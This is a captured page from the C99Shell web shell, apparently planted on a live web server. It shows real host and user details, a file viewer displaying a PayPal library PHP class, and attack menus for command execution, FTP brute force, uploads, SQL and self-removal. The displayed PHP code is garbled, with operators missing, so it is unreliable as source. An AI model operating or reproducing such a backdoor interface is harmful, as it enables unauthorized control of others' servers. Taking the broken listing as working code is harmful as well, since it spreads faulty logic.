!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/srmklive/paypal/src/Services/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VerifyDocuments.php (1.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Services;

use 
GuzzleHttp\Psr7\MimeType;

class 
VerifyDocuments
{
    
/**
     * @var array
     */
    
protected static $dispute_evidence_types = [
        
'application/pdf',
        
'image/gif',
        
'image/jpeg',
        
'image/png',
    ];

    
/**
     * @var string
     */
    
protected static $dispute_evidence_file_size 10;

    
/**
     * @var string
     */
    
protected static $dispute_evidences_size 50;

    
/**
     * Get Mime type from filename.
     *
     * @param string $file
     *
     * @return string
     */
    
public static function getMimeType($file)
    {
        return 
MimeType::fromFilename($file);
    }

    
/**
     * Check if the evidence file being submitted mime type is valid.
     *
     * @param array $files
     *
     * @return bool
     */
    
public static function isValidEvidenceFile(array $files)
    {
        
$validFile true;
        
$validSize true;
        
$total_size 0;

        
$basic = (1024 1024);
        
$file_size $basic self::$dispute_evidence_file_size;
        
$overall_size $basic self::$dispute_evidences_size;

        foreach (
$files as $file) {
            
$mime_type self::getMimeType($file);

            if (!
in_array($mime_typeself::$dispute_evidence_types)) {
                
$validFile false;
                break;
            }

            
$size filesize($file);

            if (
$size $file_size) {
                
$validSize false;
                break;
            }

            
$total_size += $size;
        }

        return ((
$validFile === false) || ($validSize === false)) || ($total_size $overall_size) ? false true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--